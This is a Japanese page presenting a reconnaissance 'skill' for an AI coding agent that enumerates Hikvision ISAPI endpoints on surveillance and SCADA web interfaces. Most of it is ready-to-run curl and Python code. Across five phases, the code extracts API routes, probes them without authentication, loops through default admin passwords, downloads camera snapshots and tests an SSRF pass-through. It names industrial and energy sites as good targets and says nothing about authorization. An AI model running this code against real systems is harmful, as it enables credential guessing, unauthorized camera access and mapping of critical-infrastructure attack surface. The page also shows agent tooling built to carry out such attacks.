scada-hikvision-isapi について
scada-hikvision-isapiは、産業制御や監視システムのWebインターフェースでHikvision ISAPIエンドポイントを列挙するセキュリティテスト用スキルです。JavaScriptからのルート抽出、未認証でのプローブ、認証やストリーミングの確認手順を扱います。
主な機能
- 01Hikvisionインターフェースの識別
- 02JavaScriptからのISAPIルート抽出
- 03未認証エンドポイントのプローブ
- 04CAS、Basic、Digest認証の確認
- 05カメラのストリーミングとスナップショット確認
- 06露出情報と攻撃対象領域の整理
活用シーン
- 01Hikvision WebインターフェースのISAPIルート調査
- 02未認証で応答するエンドポイントの確認
- 03カメラ、ストレージ、ストリーミングの露出評価
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill scada-hikvision-isapiインストール後、Claude Code で/scada-hikvision-isapiを入力して読み込まれたか確認します。
詳細
SCADA Hikvision ISAPI の列挙
産業制御および監視用の Web インターフェースで、Hikvision ISAPI(Intelligent Security Application Programming Interface)のエンドポイントを列挙します。Hikvision デバイスと HikCentral Professional のデプロイ環境では、予測可能なパスで豊富な REST/XML API が公開されています。ほとんどのエンドポイントでは認証(CAS セッショントークン、Basic 認証、または Digest 認証)が必要ですが、認証なしでの列挙でも、デバイスの種類、ファームウェアのベースライン、利用可能なモジュール、潜在的な攻撃対象領域が明らかになります。JavaScript バンドルには、多くの場合、ISAPI の完全なルートツリーが含まれています。
使用するタイミング
- 標準以外のポート(443、8443、9443)上の Web インターフェースで、
/ISAPI/、Bumblebee、またはStreaming/channelsを参照する大きな JavaScript バンドルが読み込まれる場合。 - ポートスキャンで RTSP(554)、ONVIF(8899)、または Hikvision 固有のポート(8000、9010)が検出された場合。
- サーバーヘッダーまたは SSL 証明書に Hikvision、HikCentral、iVMS、または Pyramid が記載されている場合。
- SCADA システムが存在する可能性が高い、産業、エネルギー、またはインフラ関連の背景があるターゲットの場合。
- Web クライアントが相対パスから
Common/common.js、Common/components.js、またはCommon/vendorGraph.jsを読み込む場合。
前提条件
- curl、python3、nmap を備えた
terminal。 - Web インターフェースへのアクセス(認証なしでも可)。
- ターゲットが JavaScript バンドルを配信していること。エンドポイントを抽出するため、これらをダウンロードしてください。
クイック検出
# Fingerprint the web interface
curl --max-time 30 --connect-timeout 10 -skI "https://TARGET:PORT/" | grep -iE "server|x-powered"
# Download the main JS bundle and scan for ISAPI endpoints
curl --max-time 30 --connect-timeout 10 -sk "https://TARGET:PORT/" | grep -Eo 'src="([^"]+\.js[^"]*)"' | while read -r match; do
js_url=$(echo "$match" | grep -Eo '(\./[^"]+\.js[^"]*|/[^"]+\.js[^"]*)')
[ -n "$js_url" ] && curl --max-time 30 --connect-timeout 10 -sk "https://TARGET:PORT$js_url" | grep -Eo '/ISAPI/[^"'\''\s]{5,80}' | sort -u
done
手順
フェーズ 1 — JS バンドルからのエンドポイント抽出
Hikvision の Web クライアントには、完全な API ルートツリーが JavaScript に埋め込まれています。
# Download all JS files referenced in the main page
curl --max-time 30 --connect-timeout 10 -sk "https://TARGET:PORT/" | python3 -c "
import sys, re, requests, urllib3
urllib3.disable_warnings()
html = sys.stdin.read()
base = 'https://TARGET:PORT'
# Find all JS files
scripts = set(re.findall(r'(?:src|href)=\"([^\"]+\.js[^\"]*)\"', html))
for js in scripts:
url = js if js.startswith('http') else f'{base}{js}' if js.startswith('/') else f'{base}/{js}'
try:
r = requests.get(url, verify=False, timeout=10)
if r.status_code == 200:
# Extract ISAPI paths
paths = set(re.findall(r'/ISAPI/[A-Za-z0-9_/]+', r.text))
if paths:
print(f'\n{url} ({len(r.text)} bytes):')
for p in sorted(paths)[:30]:
print(f' {p}')
except: pass
"
フェーズ 2 — 認証なしでのエンドポイントプローブ
抽出した ISAPI パスを、認証なしでテストします。
ISAPI_PATHS=(
"/ISAPI/Bumblebee/Platform/V0/KeepLive"
"/ISAPI/Bumblebee/Platform/V0/CAS/SlaveSession"
"/ISAPI/Bumblebee/Platform/V1/RecentlyVisitedMenu"
"/ISAPI/Bumblebee/Platform/V1/SystemConfig/SceneConfig"
"/ISAPI/Bumblebee/Platform/V0/LogicalResource/CameraElements/"
"/ISAPI/Bumblebee/DeviceResource/V0/Servers/RecordServers/"
"/ISAPI/Bumblebee/DeviceResource/V1/PhysicalResource/Devices/"
"/ISAPI/Bumblebee/Platform/V1/Storage/LocalCloudStorageConfig"
"/ISAPI/Bumblebee/Platform/V1/Permission/Security/UserPermission"
"/ISAPI/Bumblebee/Platform/V0/RSM/Sites/"
"/ISAPI/Streaming/channels/101/picture"
"/ISAPI/ContentMgmt/StreamingProxy/channel/"
"/ISAPI/ContentMgmt/download"
)
for path in "${ISAPI_PATHS[@]}"; do
response=$(curl --max-time 30 --connect-timeout 10 -sk -w "\n%{http_code}" "https://TARGET:PORT$path" 2>/dev/null)
code=$(echo "$response" | tail -1)
body=$(echo "$response" | head -n -1)
echo "=== $path ($code) ==="
echo "$body" | head -5
# Decode error codes
if echo "$body" | grep -q "ErrorCode"; then
error=$(echo "$body" | grep -Eo 'ErrorCode\"?\s*[:\s]*(\d+)' | grep -Eo '\d+')
case $error in
216) echo " → SESSION_ERROR (auth required)";;
401) echo " → UNAUTHORIZED";;
403) echo " → FORBIDDEN";;
404) echo " → NOT_FOUND";;
*) echo " → Code $error";;
esac
fi
done
フェーズ 3 — 認証テスト
一般的な認証情報のパターンをテストします。
# XML-based CAS session login
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://TARGET:PORT/ISAPI/Bumblebee/Platform/V0/CAS/SlaveSession" \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0" encoding="UTF-8"?>
<SessionLogin xmlns="http://www.isapi.org/ver20/XMLSchema" version="2.0">
<userName>admin</userName>
<password>PASSWORD</password>
<sessionList><session><id>1</id></session></sessionList>
</SessionLogin>'
# JSON-based login
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://TARGET:PORT/ISAPI/Bumblebee/Platform/V0/User/Login" \
-H "Content-Type: application/json" \
-d '{"userName":"admin","password":"PASSWORD"}'
# Test default passwords
for pw in admin 12345 123456 password admin123 Hikvision123 hikvision; do
code=$(curl --max-time 30 --connect-timeout 10 -sk -o /dev/null -w "%{http_code}" \
"https://TARGET:PORT/ISAPI/Bumblebee/Platform/V0/KeepLive" \
-u "admin:$pw")
[ "$code" != "401" ] && echo "Basic auth: admin:$pw → $code"
done
フェーズ 4 — ストリーミングとカメラへのアクセス
カメラチャンネルにアクセスできる場合:
# Try camera snapshots (channel 1-16)
for ch in 1 101 201 301; do
curl --max-time 30 --connect-timeout 10 -sk "https://TARGET:PORT/ISAPI/Streaming/channels/$ch/picture" \
-o "camera_$ch.jpg"
[ -s "camera_$ch.jpg" ] && echo "Snapshot ch$ch: $(wc -c < camera_$ch.jpg) bytes"
done
# Check for RTSP streaming info
curl --max-time 30 --connect-timeout 10 -sk "https://TARGET:PORT/ISAPI/Streaming/channels/" | head -20
# ONVIF service discovery
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://TARGET:PORT/onvif/device_service" \
-H "Content-Type: application/soap+xml" \
-d '<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope">
<s:Body><GetServices xmlns="http://www.onvif.org/ver10/device/wsdl"/>
</s:Body></s:Envelope>'
フェーズ 5 — 危険なエンドポイント
SSRF、データアクセス、または権限昇格を可能にするおそれがある次のエンドポイントを優先してください。
# HTTP pass-through (potential SSRF)
curl --max-time 30 --connect-timeout 10 -sk -X POST "https://TARGET:PORT/ISAPI/Bumblebee/Platform/V1/DAM/HTTPPassThrough" \
-H "Content-Type: application/json" \
-d '{"url":"http://[REDACTED_IP]/"}'
# Cloud storage configuration exposure
curl --max-time 30 --connect-timeout 10 -sk "https://TARGET:PORT/ISAPI/Bumblebee/Platform/V1/Storage/LocalCloudStorageConfig"
# User permission enumeration
curl --max-time 30 --connect-timeout 10 -sk "https://TARGET:PORT/ISAPI/Bumblebee/Platform/V1/Permission/Security/UserPermission"
# Remote site management
curl --max-time 30 --connect-timeout 10 -sk "https://TARGET:PORT/ISAPI/Bumblebee/Platform/V0/RSM/Sites/"
注意点
- ErrorCode 216 は完全なブロックを意味するものではありません。「セッションが必要」という意味です。エンドポイントは稼働していますが、認証が必要です。これは依然として検出事項(サービスの公開)です。
- HikCentral とスタンドアロンデバイスの違い。 HikCentral Professional(Web 管理型)では CAS/SlaveSession が使用されます。スタンドアロンの NVR やカメラでは Basic 認証または Digest 認証が使用されます。認証方式からデプロイの種類を判断できます。
- WebSocket エンドポイントは隠れています。 JS では、ローカルの WebSocket 接続に
ws://127.0.0.1:が参照されています。外部 WebSocket エンドポイントでは別のポートが使われる場合があります。 - RTSP は UDP の場合がよくあります。 標準的なポートスキャンでは見落とされます。UDP の RTSP を検出するには
nmap -sU -p 554を使用してください。 - ONVIF はポート 8899 ではなく、80/8080 で稼働している場合があります。 ONVIF SOAP リクエストを使用して、複数のポートをプローブしてください。
検証
- 少なくとも 5 つの ISAPI エンドポイントが応答することを確認します(ErrorCode 216 の場合も含む)。
- JavaScript バンドルから完全なエンドポイントツリーを抽出し、記録します。
- 各エンドポイントを Basic 認証の認証情報あり・なしでテストします。
- 認証なしでデータを返すエンドポイントがある場合は、公開されている情報を記録します。
- カメラ、ストリーミング、ストレージ、権限、リモートサイトなど、攻撃対象領域をマッピングします。
関連スキル
port-service-discovery— Hikvision/RTSP/ONVIF のポートを検出します。hunt-ssrf— HTTPPassThrough プロキシを悪用して SSRF を実行します。iot-camera-recon— IP カメラの一般的な偵察パターンです。js-secrets-extraction— ISAPI リクエストの認証に使われる可能性がある、JS バンドル内の API キーやトークンを抽出します。